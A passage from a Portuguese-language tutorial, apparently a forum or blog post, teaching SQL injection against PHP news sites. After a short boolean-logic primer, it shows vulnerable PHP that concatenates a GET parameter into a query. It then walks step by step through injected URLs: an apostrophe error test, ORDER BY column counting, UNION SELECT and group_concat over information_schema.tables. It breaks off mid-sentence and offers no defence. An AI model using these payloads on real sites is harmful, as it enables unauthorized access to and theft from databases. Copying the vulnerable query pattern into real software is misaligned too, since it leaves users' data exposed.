geralV = VerdadeiroF = FalsoV or V = VV or F = VF or F = FV and V = VV and F = FF and F = Fnot(V or V) = Fnot(V or F) = Fnot(F or F) = Vnot(V and V) = Fnot(V and F) = Vnot(F and F) = VNo site da W3 tem varios tutoriais em ingles sobre SQL:http://www.w3schools.com/sql/default.asp~~SQL injectionA arte de injetar codigos SQL comeca na relacao entre as linguagens de programacao e a utilizacao de codigos SQL (Query String) na mesma.Nesse tutorial iremos falar de uma simples injecao SQL em um site programado em PHP. Mas primeiro vamos entender como um site acessa o banco de dados por um exemplo:www.site.com/noticia.php?id=1Exemplo acima quer dizer que o site acessa a noticia na posicao 1 em uma determinada coluna de uma determinada tabela. Esse outro exemplo acessa a noticia na posicao 2:www.site.com/noticia.php?id=2E simples, funciona como algo parecido com isso:select noticia from tabela_noticias where noticia_id = XEsse X voce pode substituir pelo valor de id, no primeiro caso que eu apresentei o 1 e no segundo caso o 2.www.site.com/noticia.php?id=6SQL:select noticia from tabela_noticias where noticia_id = 6Retorna a noticia para uma variavel no PHP e imprime na tela.Vamos entender como funciona dentro da linguagem PHP:$noticia=$_GET['id'];$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;Esse e um caso de codigo vulneravel, ele nao elimina os caracteres especiais, como o ' (apostrofo), fazendo com que o invasor possa executar outros comandos como ORDER e SELECT.~~Comecando o ataqueBom, depois de ficar falando sobre as estruturas e tudo, vamos comecar com um exemplo simples, como, por exemplo, aquele que nos usamos:$noticia=$_GET['id'];$query_string="select noticia from tabela_noticias where noticia_id = ".$noticia;Site: www.site.com/noticia.php?id=...Para verificar se ele e mesmo vulneravel, ja que nao iremos ter acesso ao codigo fonte do site, colocamos um apostrofo no valor de id:www.site.com/noticia.php?id='Ele retornara uma mensagem de erro SQL, pois a query nao ira entender o que e ':select noticia from tabela_noticias where noticia_id = 'Agora que sabemos que ela e vulneravel, vamos injetar codigos SQL, ex.:www.site.com/noticia.php?id=1 order by 1,2,3,4,5,6,7,8,9--ORDER = ordena as colunas e verifica quantas tem.-- = Finaliza o codigo SQL.Caso a tabela tabela_noticias tenha menos de 9 tabelas, ela retornara um erro. Caso ela tenha mais de 9 tabelas, ela nao retornara nenhum erro, por isso va almentando ate conseguir saber quantas tabelas existem, ex.:www.site.com/noticia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--Imagine que eu use isso e ele retorne um erro assim: "Column 13 does not exists".Entao agora iremos arruma-la de acordo com o que diz:www.site.com/noticia.php?id=1 order by 1,2,3,4,5,6,7,8,9,10,11,12--Agora usaremos o comando UNION que serve para unir todas as colunas e mostra-las no lugar do texto que deveria ser a noticia, alem disso devemos mudar o valor da noticia para um na qual nao exista noticia, geralmente usamos negativo:www.site.com/noticia.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12--Union select = unir a selecao.Agora imagine que no site apareceu no lugar do titulo da noticia o valor 3 e no campo do texto o valor 4. Ja que o texto provavelmente e maior, entao usaremos ele para retornar todas as tabelas que existem no site:www.site.com/noticia.php?id=-1 union select 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where 1=1--information_schema.tables e uma tabela